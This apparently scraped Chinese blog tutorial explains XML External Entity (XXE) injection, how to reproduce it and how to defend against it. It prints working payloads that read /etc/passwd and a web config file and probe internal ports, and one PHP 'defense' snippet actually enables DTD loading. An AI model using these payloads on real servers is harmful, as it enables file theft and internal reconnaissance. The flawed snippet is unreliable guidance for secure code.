XXE漏洞复现步骤

news/2024/11/15 2:13:38/

0X00XXE注入定义

XXE注入,即XML External Entity,XML外部实体注入。通过 XML 实体,”SYSTEM”关键词导致 XML 解析器可以从本地文件或者远程 URI 中读取数据。所以攻击者可以通过 XML 实体传递自己构造的恶意值,是处理程序解析它。当引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

0X01漏洞原理

既然XML可以从外部读取DTD文件,那我们就自然地想到了如果将路径换成另一个文件的路径,那么服务器在解析这个XML的时候就会把那个文件的内容赋值给SYSTEM前面的根元素中,只要我们在XML中让前面的根元素的内容显示出来,不就可以读取那个文件的内容了。这就造成了一个任意文件读取的漏洞。

那如果我们指向的是一个内网主机的端口呢?是否会给出错误信息,我们是不是可以从错误信息上来判断内网主机这个端口是否开放,这就造成了一个内部端口被探测的问题。另外,一般来说,服务器解析XML有两种方式,一种是一次性将整个XML加载进内存中,进行解析;另一种是一部分一部分的、“流式”地加载、解析。如果我们递归地调用XML定义,一次性调用巨量的定义,那么服务器的内存就会被消耗完,造成了拒绝服务攻击。

0X02漏洞复现

发送测试代码到测试服务器

<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <foo>&xxe;</foo>

在有回显的情况下,该服务器的/etc/passwd文件就会被泄露。

此时发现有回显,开始测试xxe漏洞,抓取数据包发现post一个xml文件

将xml代码换成测试的xml代码

将其提交发现有回显,回显内容是xml代码里面的函数访问文件夹的内容。

修改xml内容进行端口检测。

<!DOCTYPE foo [<!ELEMENT login ANY><!ENTITY xxe SYSTEM "http://192.168.1.42:801">]>
<reset><login>&xxe;</login><secret>Any bugs?</secret></reset>

发现801端口关闭

<!DOCTYPE foo [<!ELEMENT login ANY><!ENTITY xxe SYSTEM "http://192.168.1.42:80">]>
<reset><login>&xxe;</login><secret>Any bugs?</secret></reset>

发现80端口开启

0X03漏洞防御

1.使用开发语言提供的禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true);


JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2.过滤用户提交的XML数据

 对变量:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC进行过滤.

例如,让我们来试着定义一个新的自定义实体“harmless”。

<!DOCTYPE results [ <!ENTITY harmless "completely harmless"> ]>

现在,包含这个实体定义的XML文档可以在任何允许的地方引用&harmless;实体。

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

XML解析器,例如PHP DOM,在解析这段XML时,会在加载完文档后立即处理这个自定义实体。因此,请求相关文本时,会得到如下的返回:

This result is completely harmless

下面的这个就肯定不是无害的输入:

<?xml version="1.0"?>
<!DOCTYPE results [<!ENTITY harmless SYSTEM
"file:///var/www/config.ini">]>
<results><result>&harmless;</result>
</results>

3.检查所使用的底层xml解析库,默认禁止外部实体的解析
4.使用第三方应用代码及时升级补丁
5.同时增强对系统的监控,防止此问题被人利用
对于PHP,由于simplexml_load_string函数的XML解析问题出在libxml库上,所以加载实体前可以调用这样一个函数

<?php
libxml_disable_entity_loader(true);
?>

以进行防护,对于XMLReader和DOM方式解析,可以参考如下代码:

<?php
// with the XMLReader functionality:
$doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET);
// with the DOM functionality:
$dom = new DOMDocument();
$dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR);
?>><wiz_tmp_tag id="wiz-table-range-border" contenteditable="false" style="display: none;">

http://www.ppmy.cn/news/550320.html

相关文章

YouTube视频如何推广好?

如果你才刚刚开启自己的业务&#xff0c;或急需扩宽自己的宣传渠道&#xff0c;正在苦苦寻找新的外贸推广方式&#xff0c;开发新客户或者维系老客户&#xff0c;不烦试试YouTube平台吧&#xff0c;这个强大的平台会让你获得难以置信的机会与客户互动&#xff0c;通过YouTube你…

近25年科技成果大盘点,有几大重要领域不得不看

提起1995年&#xff0c;许多人都感觉似乎已经十分遥远&#xff0c;那时炙手可热的科技产品&#xff0c;比如DVD播放机、移动电话等现在看来显得如此笨重。然而在那之后的25年里&#xff0c;科技领域发生了巨大变化&#xff0c;许多科技产品和技术永远改变了我们的生活和世界&am…

Vue与React不是真正的响应式编程,Svelte才是正宗

这个题目可能有点夸张&#xff0c;但不管怎样 Svelte 和它的理念就是这样的。如果你还没听说过 Svelte 的话就去了解一下吧——你会见证一场革命的&#xff0c;它将取得空前的成就&#xff08;没有给 Svelte 团队增加压力的意思&#xff09;。 本文不是 Svelte 的入门教程。Sv…

解读 | 2019年10篇计算机视觉精选论文(上)

作者 | 神经小兮 来源 | HyperAI超神经&#xff08;ID:HyperAI&#xff09; 2019 年转眼已经接近尾声&#xff0c;我们看到&#xff0c;这一年计算机视觉&#xff08;CV&#xff09;领域又诞生了大量出色的论文&#xff0c;提出了许多新颖的架构和方法&#xff0c;进一步提高了…

操作系统极简入门

计算机基础课第 40 期分享 阅读本文大概需要 11 分钟 01 "操作系统"诞生 1940,1950 年代的电脑&#xff0c;每次只能运行一个程序&#xff0c;程序员在打孔纸卡上写程序&#xff0c;然后拿到一个计算机房间, 交给操作员。等计算机空下来了&#xff0c;操作员会把程…

那些高效的机器学习研究者,需要养成什么样的习惯?吴恩达等这样建议

Datawhale分享 机器之心编辑部 如何成为一名高效的机器学习研究者&#xff0c;然后在这个领域取得一些成就&#xff1f;在此之前&#xff0c;我们需要养成什么样的习惯&#xff1f;近日&#xff0c;一篇发布在 Reddit 机器学习版块的帖子引发了众人的讨论。 近日&#xff0c;一…

Fabrice Bellard:一个人抵得上一个百人团队

如果有人告诉你&#xff0c;有一个程序员仅仅用了10个月时间就写了一个软基站&#xff0c;你肯定觉得是天方夜谭&#xff0c;因为这种大工程可是几百个人的工作量&#xff0c;而且还得是精英团队&#xff0c;怎么可能由一个人完成&#xff1f; 可世界上总有一些天才式的人物&am…

【历史上的今天】6 月 6 日:世界 IPv6 启动纪念日;《俄罗斯方块》发布;小红书成立

整理 | 王启隆 透过「历史上的今天」&#xff0c;从过去看未来&#xff0c;从现在亦可以改变未来。 今天是 2022 年 6 月 6 日&#xff0c;在 2019 年的今天&#xff0c;工信部正式发放 5G 牌照。这一天&#xff0c;有四家企业被颁发了基础电信业务经营许可证&#xff0c;从此…